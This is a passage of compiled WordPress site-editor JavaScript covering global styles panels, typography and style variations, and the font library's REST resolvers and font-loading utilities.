//We want this CSS to be in sync with the one in InserterPreviewPanel.
[{
css: `
body{
padding: 24px;
min-height:${Math.round(minHeight)}px;
display:flex;
align-items:center;
}
.is-root-container { width: 100%; }
`
}]
})
})
});
};
/* harmony default export */ const block_preview_panel = (BlockPreviewPanel);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/subtitle.js
/**
* WordPress dependencies
*/
function Subtitle({
children,
level
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
className: "edit-site-global-styles-subtitle",
level: level !== null && level !== void 0 ? level : 2,
children: children
});
}
/* harmony default export */ const subtitle = (Subtitle);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-block.js
/* wp:polyfill */
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
// Initial control values.
const BACKGROUND_BLOCK_DEFAULT_VALUES = {
backgroundSize: 'cover',
backgroundPosition: '50% 50%' // used only when backgroundSize is 'contain'.
};
function applyFallbackStyle(border) {
if (!border) {
return border;
}
const hasColorOrWidth = border.color || border.width;
if (!border.style && hasColorOrWidth) {
return {
...border,
style: 'solid'
};
}
if (border.style && !hasColorOrWidth) {
return undefined;
}
return border;
}
function applyAllFallbackStyles(border) {
if (!border) {
return border;
}
if ((0,external_wp_components_namespaceObject.__experimentalHasSplitBorders)(border)) {
return {
top: applyFallbackStyle(border.top),
right: applyFallbackStyle(border.right),
bottom: applyFallbackStyle(border.bottom),
left: applyFallbackStyle(border.left)
};
}
return applyFallbackStyle(border);
}
const {
useHasDimensionsPanel: screen_block_useHasDimensionsPanel,
useHasTypographyPanel: screen_block_useHasTypographyPanel,
useHasBorderPanel: screen_block_useHasBorderPanel,
useGlobalSetting: screen_block_useGlobalSetting,
useSettingsForBlockElement: screen_block_useSettingsForBlockElement,
useHasColorPanel: screen_block_useHasColorPanel,
useHasFiltersPanel,
useHasImageSettingsPanel,
useGlobalStyle: screen_block_useGlobalStyle,
useHasBackgroundPanel: screen_block_useHasBackgroundPanel,
BackgroundPanel: StylesBackgroundPanel,
BorderPanel: StylesBorderPanel,
ColorPanel: StylesColorPanel,
TypographyPanel: StylesTypographyPanel,
DimensionsPanel: StylesDimensionsPanel,
FiltersPanel: StylesFiltersPanel,
ImageSettingsPanel,
AdvancedPanel: StylesAdvancedPanel
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ScreenBlock({
name,
variation
}) {
let prefixParts = [];
if (variation) {
prefixParts = ['variations', variation].concat(prefixParts);
}
const prefix = prefixParts.join('.');
const [style] = screen_block_useGlobalStyle(prefix, name, 'user', {
shouldDecodeEncode: false
});
const [inheritedStyle, setStyle] = screen_block_useGlobalStyle(prefix, name, 'all', {
shouldDecodeEncode: false
});
const [userSettings] = screen_block_useGlobalSetting('', name, 'user');
const [rawSettings, setSettings] = screen_block_useGlobalSetting('', name);
const settingsForBlockElement = screen_block_useSettingsForBlockElement(rawSettings, name);
const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(name);
// Only allow `blockGap` support if serialization has not been skipped, to be sure global spacing can be applied.
let disableBlockGap = false;
if (settingsForBlockElement?.spacing?.blockGap && blockType?.supports?.spacing?.blockGap && (blockType?.supports?.spacing?.__experimentalSkipSerialization === true || blockType?.supports?.spacing?.__experimentalSkipSerialization?.some?.(spacingType => spacingType === 'blockGap'))) {
disableBlockGap = true;
}
// Only allow `aspectRatio` support if the block is not the grouping block.
// The grouping block allows the user to use Group, Row and Stack variations,
// and it is highly likely that the user will not want to set an aspect ratio
// for all three at once. Until there is the ability to set a different aspect
// ratio for each variation, we disable the aspect ratio controls for the
// grouping block in global styles.
let disableAspectRatio = false;
if (settingsForBlockElement?.dimensions?.aspectRatio && name === 'core/group') {
disableAspectRatio = true;
}
const settings = (0,external_wp_element_namespaceObject.useMemo)(() => {
const updatedSettings = structuredClone(settingsForBlockElement);
if (disableBlockGap) {
updatedSettings.spacing.blockGap = false;
}
if (disableAspectRatio) {
updatedSettings.dimensions.aspectRatio = false;
}
return updatedSettings;
}, [settingsForBlockElement, disableBlockGap, disableAspectRatio]);
const blockVariations = useBlockVariations(name);
const hasBackgroundPanel = screen_block_useHasBackgroundPanel(settings);
const hasTypographyPanel = screen_block_useHasTypographyPanel(settings);
const hasColorPanel = screen_block_useHasColorPanel(settings);
const hasBorderPanel = screen_block_useHasBorderPanel(settings);
const hasDimensionsPanel = screen_block_useHasDimensionsPanel(settings);
const hasFiltersPanel = useHasFiltersPanel(settings);
const hasImageSettingsPanel = useHasImageSettingsPanel(name, userSettings, settings);
const hasVariationsPanel = !!blockVariations?.length && !variation;
const {
canEditCSS
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getEntityRecord,
__experimentalGetCurrentGlobalStylesId
} = select(external_wp_coreData_namespaceObject.store);
const globalStylesId = __experimentalGetCurrentGlobalStylesId();
const globalStyles = globalStylesId ? getEntityRecord('root', 'globalStyles', globalStylesId) : undefined;
return {
canEditCSS: !!globalStyles?._links?.['wp:action-edit-css']
};
}, []);
const currentBlockStyle = variation ? blockVariations.find(s => s.name === variation) : null;
// These intermediary objects are needed because the "layout" property is stored
// in settings rather than styles.
const inheritedStyleWithLayout = (0,external_wp_element_namespaceObject.useMemo)(() => {
return {
...inheritedStyle,
layout: settings.layout
};
}, [inheritedStyle, settings.layout]);
const styleWithLayout = (0,external_wp_element_namespaceObject.useMemo)(() => {
return {
...style,
layout: userSettings.layout
};
}, [style, userSettings.layout]);
const onChangeDimensions = newStyle => {
const updatedStyle = {
...newStyle
};
delete updatedStyle.layout;
setStyle(updatedStyle);
if (newStyle.layout !== userSettings.layout) {
setSettings({
...userSettings,
layout: newStyle.layout
});
}
};
const onChangeLightbox = newSetting => {
// If the newSetting is undefined, this means that the user has deselected
// (reset) the lightbox setting.
if (newSetting === undefined) {
setSettings({
...rawSettings,
lightbox: undefined
});
// Otherwise, we simply set the lightbox setting to the new value but
// taking care of not overriding the other lightbox settings.
} else {
setSettings({
...rawSettings,
lightbox: {
...rawSettings.lightbox,
...newSetting
}
});
}
};
const onChangeBorders = newStyle => {
if (!newStyle?.border) {
setStyle(newStyle);
return;
}
// As Global Styles can't conditionally generate styles based on if
// other style properties have been set, we need to force split
// border definitions for user set global border styles. Border
// radius is derived from the same property i.e. `border.radius` if
// it is a string that is used. The longhand border radii styles are
// only generated if that property is an object.
//
// For borders (color, style, and width) those are all properties on
// the `border` style property. This means if the theme.json defined
// split borders and the user condenses them into a flat border or
// vice-versa we'd get both sets of styles which would conflict.
const {
radius,
...newBorder
} = newStyle.border;
const border = applyAllFallbackStyles(newBorder);
const updatedBorder = !(0,external_wp_components_namespaceObject.__experimentalHasSplitBorders)(border) ? {
top: border,
right: border,
bottom: border,
left: border
} : {
color: null,
style: null,
width: null,
...border
};
setStyle({
...newStyle,
border: {
...updatedBorder,
radius
}
});
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
title: variation ? currentBlockStyle?.label : blockType.title
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(block_preview_panel, {
name: name,
variation: variation
}), hasVariationsPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-global-styles-screen-variations",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 3,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
children: (0,external_wp_i18n_namespaceObject.__)('Style Variations')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(VariationsPanel, {
name: name
})]
})
}), hasColorPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StylesColorPanel, {
inheritedValue: inheritedStyle,
value: style,
onChange: setStyle,
settings: settings
}), hasBackgroundPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StylesBackgroundPanel, {
inheritedValue: inheritedStyle,
value: style,
onChange: setStyle,
settings: settings,
defaultValues: BACKGROUND_BLOCK_DEFAULT_VALUES
}), hasTypographyPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StylesTypographyPanel, {
inheritedValue: inheritedStyle,
value: style,
onChange: setStyle,
settings: settings
}), hasDimensionsPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StylesDimensionsPanel, {
inheritedValue: inheritedStyleWithLayout,
value: styleWithLayout,
onChange: onChangeDimensions,
settings: settings,
includeLayoutControls: true
}), hasBorderPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StylesBorderPanel, {
inheritedValue: inheritedStyle,
value: style,
onChange: onChangeBorders,
settings: settings
}), hasFiltersPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StylesFiltersPanel, {
inheritedValue: inheritedStyleWithLayout,
value: styleWithLayout,
onChange: setStyle,
settings: settings,
includeLayoutControls: true
}), hasImageSettingsPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ImageSettingsPanel, {
onChange: onChangeLightbox,
value: userSettings,
inheritedValue: settings
}), canEditCSS && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, {
title: (0,external_wp_i18n_namespaceObject.__)('Advanced'),
initialOpen: false,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
children: (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: is the name of a block e.g., 'Image' or 'Table'.
(0,external_wp_i18n_namespaceObject.__)('Add your own CSS to customize the appearance of the %s block. You do not need to include a CSS selector, just add the property and value.'), blockType?.title)
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StylesAdvancedPanel, {
value: style,
onChange: setStyle,
inheritedValue: inheritedStyle
})]
})]
});
}
/* harmony default export */ const screen_block = (ScreenBlock);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/typography-elements.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalStyle: typography_elements_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ElementItem({
parentMenu,
element,
label
}) {
var _ref;
const prefix = element === 'text' || !element ? '' : `elements.${element}.`;
const extraStyles = element === 'link' ? {
textDecoration: 'underline'
} : {};
const [fontFamily] = typography_elements_useGlobalStyle(prefix + 'typography.fontFamily');
const [fontStyle] = typography_elements_useGlobalStyle(prefix + 'typography.fontStyle');
const [fontWeight] = typography_elements_useGlobalStyle(prefix + 'typography.fontWeight');
const [backgroundColor] = typography_elements_useGlobalStyle(prefix + 'color.background');
const [fallbackBackgroundColor] = typography_elements_useGlobalStyle('color.background');
const [gradientValue] = typography_elements_useGlobalStyle(prefix + 'color.gradient');
const [color] = typography_elements_useGlobalStyle(prefix + 'color.text');
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
path: parentMenu + '/typography/' + element,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "flex-start",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
className: "edit-site-global-styles-screen-typography__indicator",
style: {
fontFamily: fontFamily !== null && fontFamily !== void 0 ? fontFamily : 'serif',
background: (_ref = gradientValue !== null && gradientValue !== void 0 ? gradientValue : backgroundColor) !== null && _ref !== void 0 ? _ref : fallbackBackgroundColor,
color,
fontStyle,
fontWeight,
...extraStyles
},
"aria-hidden": "true",
children: (0,external_wp_i18n_namespaceObject.__)('Aa')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: label
})]
})
});
}
function TypographyElements() {
const parentMenu = '';
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 3,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
level: 3,
children: (0,external_wp_i18n_namespaceObject.__)('Elements')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, {
isBordered: true,
isSeparated: true,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ElementItem, {
parentMenu: parentMenu,
element: "text",
label: (0,external_wp_i18n_namespaceObject.__)('Text')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ElementItem, {
parentMenu: parentMenu,
element: "link",
label: (0,external_wp_i18n_namespaceObject.__)('Links')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ElementItem, {
parentMenu: parentMenu,
element: "heading",
label: (0,external_wp_i18n_namespaceObject.__)('Headings')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ElementItem, {
parentMenu: parentMenu,
element: "caption",
label: (0,external_wp_i18n_namespaceObject.__)('Captions')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ElementItem, {
parentMenu: parentMenu,
element: "button",
label: (0,external_wp_i18n_namespaceObject.__)('Buttons')
})]
})]
});
}
/* harmony default export */ const typography_elements = (TypographyElements);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/preview-typography.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const StylesPreviewTypography = ({
variation,
isFocused,
withHoverView
}) => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreviewWrapper, {
label: variation.title,
isFocused: isFocused,
withHoverView: withHoverView,
children: ({
ratio,
key
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
spacing: 10 * ratio,
justify: "center",
style: {
height: '100%',
overflow: 'hidden'
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreviewTypography, {
variation: variation,
fontSize: 85 * ratio
})
}, key)
});
};
/* harmony default export */ const preview_typography = (StylesPreviewTypography);
;// ./node_modules/@wordpress/edit-site/build-module/hooks/use-theme-style-variations/use-theme-style-variations-by-property.js
/* wp:polyfill */
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const use_theme_style_variations_by_property_EMPTY_ARRAY = [];
const {
GlobalStylesContext: use_theme_style_variations_by_property_GlobalStylesContext,
areGlobalStyleConfigsEqual
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
mergeBaseAndUserConfigs: use_theme_style_variations_by_property_mergeBaseAndUserConfigs
} = unlock(external_wp_editor_namespaceObject.privateApis);
/**
* Removes all instances of properties from an object.
*
* @param {Object} object The object to remove the properties from.
* @param {string[]} properties The properties to remove.
* @return {Object} The modified object.
*/
function removePropertiesFromObject(object, properties) {
if (!properties?.length) {
return object;
}
if (typeof object !== 'object' || !object || !Object.keys(object).length) {
return object;
}
for (const key in object) {
if (properties.includes(key)) {
delete object[key];
} else if (typeof object[key] === 'object') {
removePropertiesFromObject(object[key], properties);
}
}
return object;
}
/**
* Checks whether a style variation is empty.
*
* @param {Object} variation A style variation object.
* @param {string} variation.title The title of the variation.
* @param {Object} variation.settings The settings of the variation.
* @param {Object} variation.styles The styles of the variation.
* @return {boolean} Whether the variation is empty.
*/
function hasThemeVariation({
title,
settings,
styles
}) {
return title === (0,external_wp_i18n_namespaceObject.__)('Default') ||
// Always preserve the default variation.
Object.keys(settings).length > 0 || Object.keys(styles).length > 0;
}
/**
* Fetches the current theme style variations that contain only the specified properties
* and merges them with the user config.
*
* @param {string[]} properties The properties to filter by.
* @return {Object[]|*} The merged object.
*/
function useCurrentMergeThemeStyleVariationsWithUserConfig(properties = []) {
const {
variationsFromTheme
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const _variationsFromTheme = select(external_wp_coreData_namespaceObject.store).__experimentalGetCurrentThemeGlobalStylesVariations();
return {
variationsFromTheme: _variationsFromTheme || use_theme_style_variations_by_property_EMPTY_ARRAY
};
}, []);
const {
user: userVariation
} = (0,external_wp_element_namespaceObject.useContext)(use_theme_style_variations_by_property_GlobalStylesContext);
const propertiesAsString = properties.toString();
return (0,external_wp_element_namespaceObject.useMemo)(() => {
const clonedUserVariation = structuredClone(userVariation);
// Get user variation and remove the settings for the given property.
const userVariationWithoutProperties = removePropertiesFromObject(clonedUserVariation, properties);
userVariationWithoutProperties.title = (0,external_wp_i18n_namespaceObject.__)('Default');
const variationsWithPropertiesAndBase = variationsFromTheme.filter(variation => {
return isVariationWithProperties(variation, properties);
}).map(variation => {
return use_theme_style_variations_by_property_mergeBaseAndUserConfigs(userVariationWithoutProperties, variation);
});
const variationsByProperties = [userVariationWithoutProperties, ...variationsWithPropertiesAndBase];
/*
* Filter out variations with no settings or styles.
*/
return variationsByProperties?.length ? variationsByProperties.filter(hasThemeVariation) : [];
}, [propertiesAsString, userVariation, variationsFromTheme]);
}
/**
* Returns a new object, with properties specified in `properties` array.,
* maintain the original object tree structure.
* The function is recursive, so it will perform a deep search for the given properties.
* E.g., the function will return `{ a: { b: { c: { test: 1 } } } }` if the properties are `[ 'test' ]`.
*
* @param {Object} object The object to filter
* @param {string[]} properties The properties to filter by
* @return {Object} The merged object.
*/
const filterObjectByProperties = (object, properties) => {
if (!object || !properties?.length) {
return {};
}
const newObject = {};
Object.keys(object).forEach(key => {
if (properties.includes(key)) {
newObject[key] = object[key];
} else if (typeof object[key] === 'object') {
const newFilter = filterObjectByProperties(object[key], properties);
if (Object.keys(newFilter).length) {
newObject[key] = newFilter;
}
}
});
return newObject;
};
/**
* Compares a style variation to the same variation filtered by the specified properties.
* Returns true if the variation contains only the properties specified.
*
* @param {Object} variation The variation to compare.
* @param {string[]} properties The properties to compare.
* @return {boolean} Whether the variation contains only the specified properties.
*/
function isVariationWithProperties(variation, properties) {
const variationWithProperties = filterObjectByProperties(structuredClone(variation), properties);
return areGlobalStyleConfigsEqual(variationWithProperties, variation);
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/variations/variation.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
mergeBaseAndUserConfigs: variation_mergeBaseAndUserConfigs
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
GlobalStylesContext: variation_GlobalStylesContext,
areGlobalStyleConfigsEqual: variation_areGlobalStyleConfigsEqual
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function Variation({
variation,
children,
isPill,
properties,
showTooltip
}) {
const [isFocused, setIsFocused] = (0,external_wp_element_namespaceObject.useState)(false);
const {
base,
user,
setUserConfig
} = (0,external_wp_element_namespaceObject.useContext)(variation_GlobalStylesContext);
const context = (0,external_wp_element_namespaceObject.useMemo)(() => {
let merged = variation_mergeBaseAndUserConfigs(base, variation);
if (properties) {
merged = filterObjectByProperties(merged, properties);
}
return {
user: variation,
base,
merged,
setUserConfig: () => {}
};
}, [variation, base, properties]);
const selectVariation = () => setUserConfig(variation);
const selectOnEnter = event => {
if (event.keyCode === external_wp_keycodes_namespaceObject.ENTER) {
event.preventDefault();
selectVariation();
}
};
const isActive = (0,external_wp_element_namespaceObject.useMemo)(() => variation_areGlobalStyleConfigsEqual(user, variation), [user, variation]);
let label = variation?.title;
if (variation?.description) {
label = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: variation title. 2: variation description. */
(0,external_wp_i18n_namespaceObject._x)('%1$s (%2$s)', 'variation label'), variation?.title, variation?.description);
}
const content = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: dist_clsx('edit-site-global-styles-variations_item', {
'is-active': isActive
}),
role: "button",
onClick: selectVariation,
onKeyDown: selectOnEnter,
tabIndex: "0",
"aria-label": label,
"aria-current": isActive,
onFocus: () => setIsFocused(true),
onBlur: () => setIsFocused(false),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: dist_clsx('edit-site-global-styles-variations_item-preview', {
'is-pill': isPill
}),
children: children(isFocused)
})
});
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(variation_GlobalStylesContext.Provider, {
value: context,
children: showTooltip ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, {
text: variation?.title,
children: content
}) : content
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/variations/variations-typography.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function TypographyVariations({
title,
gap = 2
}) {
const propertiesToFilter = ['typography'];
const typographyVariations = useCurrentMergeThemeStyleVariationsWithUserConfig(propertiesToFilter);
// Return null if there is only one variation (the default).
if (typographyVariations?.length <= 1) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 3,
children: [title && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
level: 3,
children: title
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalGrid, {
columns: 3,
gap: gap,
className: "edit-site-global-styles-style-variations-container",
children: typographyVariations.map((variation, index) => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Variation, {
variation: variation,
properties: propertiesToFilter,
showTooltip: true,
children: () => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(preview_typography, {
variation: variation
})
}, index);
})
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/font-sizes-count.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function FontSizes() {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 2,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "space-between",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
level: 3,
children: (0,external_wp_i18n_namespaceObject.__)('Font Sizes')
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
isBordered: true,
isSeparated: true,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
path: "/typography/font-sizes",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
direction: "row",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: (0,external_wp_i18n_namespaceObject.__)('Font size presets')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon, {
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left : chevron_right
})]
})
})
})]
});
}
/* harmony default export */ const font_sizes_count = (FontSizes);
;// ./node_modules/@wordpress/icons/build-module/library/settings.js
/**
* WordPress dependencies
*/
const settings_settings = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "m19 7.5h-7.628c-.3089-.87389-1.1423-1.5-2.122-1.5-.97966 0-1.81309.62611-2.12197 1.5h-2.12803v1.5h2.12803c.30888.87389 1.14231 1.5 2.12197 1.5.9797 0 1.8131-.62611 2.122-1.5h7.628z"
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "m19 15h-2.128c-.3089-.8739-1.1423-1.5-2.122-1.5s-1.8131.6261-2.122 1.5h-7.628v1.5h7.628c.3089.8739 1.1423 1.5 2.122 1.5s1.8131-.6261 2.122-1.5h2.128z"
})]
});
/* harmony default export */ const library_settings = (settings_settings);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/resolvers.js
/**
* WordPress dependencies
*/
const FONT_FAMILIES_URL = '/wp/v2/font-families';
const FONT_COLLECTIONS_URL = '/wp/v2/font-collections';
async function fetchInstallFontFamily(data) {
const config = {
path: FONT_FAMILIES_URL,
method: 'POST',
body: data
};
const response = await external_wp_apiFetch_default()(config);
return {
id: response.id,
...response.font_family_settings,
fontFace: []
};
}
async function fetchInstallFontFace(fontFamilyId, data) {
const config = {
path: `${FONT_FAMILIES_URL}/${fontFamilyId}/font-faces`,
method: 'POST',
body: data
};
const response = await external_wp_apiFetch_default()(config);
return {
id: response.id,
...response.font_face_settings
};
}
async function fetchGetFontFamilyBySlug(slug) {
const config = {
path: `${FONT_FAMILIES_URL}?slug=${slug}&_embed=true`,
method: 'GET'
};
const response = await external_wp_apiFetch_default()(config);
if (!response || response.length === 0) {
return null;
}
const fontFamilyPost = response[0];
return {
id: fontFamilyPost.id,
...fontFamilyPost.font_family_settings,
fontFace: fontFamilyPost?._embedded?.font_faces.map(face => face.font_face_settings) || []
};
}
async function fetchUninstallFontFamily(fontFamilyId) {
const config = {
path: `${FONT_FAMILIES_URL}/${fontFamilyId}?force=true`,
method: 'DELETE'
};
return await external_wp_apiFetch_default()(config);
}
async function fetchFontCollections() {
const config = {
path: `${FONT_COLLECTIONS_URL}?_fields=slug,name,description`,
method: 'GET'
};
return await external_wp_apiFetch_default()(config);
}
async function fetchFontCollection(id) {
const config = {
path: `${FONT_COLLECTIONS_URL}/${id}`,
method: 'GET'
};
return await external_wp_apiFetch_default()(config);
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/constants.js
/**
* WordPress dependencies
*/
const ALLOWED_FILE_EXTENSIONS = ['otf', 'ttf', 'woff', 'woff2'];
const FONT_WEIGHTS = {
100: (0,external_wp_i18n_namespaceObject._x)('Thin', 'font weight'),
200: (0,external_wp_i18n_namespaceObject._x)('Extra-light', 'font weight'),
300: (0,external_wp_i18n_namespaceObject._x)('Light', 'font weight'),
400: (0,external_wp_i18n_namespaceObject._x)('Normal', 'font weight'),
500: (0,external_wp_i18n_namespaceObject._x)('Medium', 'font weight'),
600: (0,external_wp_i18n_namespaceObject._x)('Semi-bold', 'font weight'),
700: (0,external_wp_i18n_namespaceObject._x)('Bold', 'font weight'),
800: (0,external_wp_i18n_namespaceObject._x)('Extra-bold', 'font weight'),
900: (0,external_wp_i18n_namespaceObject._x)('Black', 'font weight')
};
const FONT_STYLES = {
normal: (0,external_wp_i18n_namespaceObject._x)('Normal', 'font style'),
italic: (0,external_wp_i18n_namespaceObject._x)('Italic', 'font style')
};
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
/**
* Browser dependencies
*/
const {
File
} = window;
const {
kebabCase
} = unlock(external_wp_components_namespaceObject.privateApis);
function setUIValuesNeeded(font, extraValues = {}) {
if (!font.name && (font.fontFamily || font.slug)) {
font.name = font.fontFamily || font.slug;
}
return {
...font,
...extraValues
};
}
function isUrlEncoded(url) {
if (typeof url !== 'string') {
return false;
}
return url !== decodeURIComponent(url);
}
function getFontFaceVariantName(face) {
const weightName = FONT_WEIGHTS[face.fontWeight] || face.fontWeight;
const styleName = face.fontStyle === 'normal' ? '' : FONT_STYLES[face.fontStyle] || face.fontStyle;
return `${weightName} ${styleName}`;
}
function mergeFontFaces(existing = [], incoming = []) {
const map = new Map();
for (const face of existing) {
map.set(`${face.fontWeight}${face.fontStyle}`, face);
}
for (const face of incoming) {
// This will overwrite if the src already exists, keeping it unique.
map.set(`${face.fontWeight}${face.fontStyle}`, face);
}
return Array.from(map.values());
}
function mergeFontFamilies(existing = [], incoming = []) {
const map = new Map();
// Add the existing array to the map.
for (const font of existing) {
map.set(font.slug, {
...font
});
}
// Add the incoming array to the map, overwriting existing values excepting fontFace that need to be merged.
for (const font of incoming) {
if (map.has(font.slug)) {
const {
fontFace: incomingFontFaces,
...restIncoming
} = font;
const existingFont = map.get(font.slug);
// Merge the fontFaces existing with the incoming fontFaces.
const mergedFontFaces = mergeFontFaces(existingFont.fontFace, incomingFontFaces);
// Except for the fontFace key all the other keys are overwritten with the incoming values.
map.set(font.slug, {
...restIncoming,
fontFace: mergedFontFaces
});
} else {
map.set(font.slug, {
...font
});
}
}
return Array.from(map.values());
}
/*
* Loads the font face from a URL and adds it to the browser.
* It also adds it to the iframe document.
*/
async function loadFontFaceInBrowser(fontFace, source, addTo = 'all') {
let dataSource;
if (typeof source === 'string') {
dataSource = `url(${source})`;
// eslint-disable-next-line no-undef
} else if (source instanceof File) {
dataSource = await source.arrayBuffer();
} else {
return;
}
const newFont = new window.FontFace(formatFontFaceName(fontFace.fontFamily), dataSource, {
style: fontFace.fontStyle,
weight: fontFace.fontWeight
});
const loadedFace = await newFont.load();
if (addTo === 'document' || addTo === 'all') {
document.fonts.add(loadedFace);
}
if (addTo === 'iframe' || addTo === 'all') {
const iframeDocument = document.querySelector('iframe[name="editor-canvas"]').contentDocument;
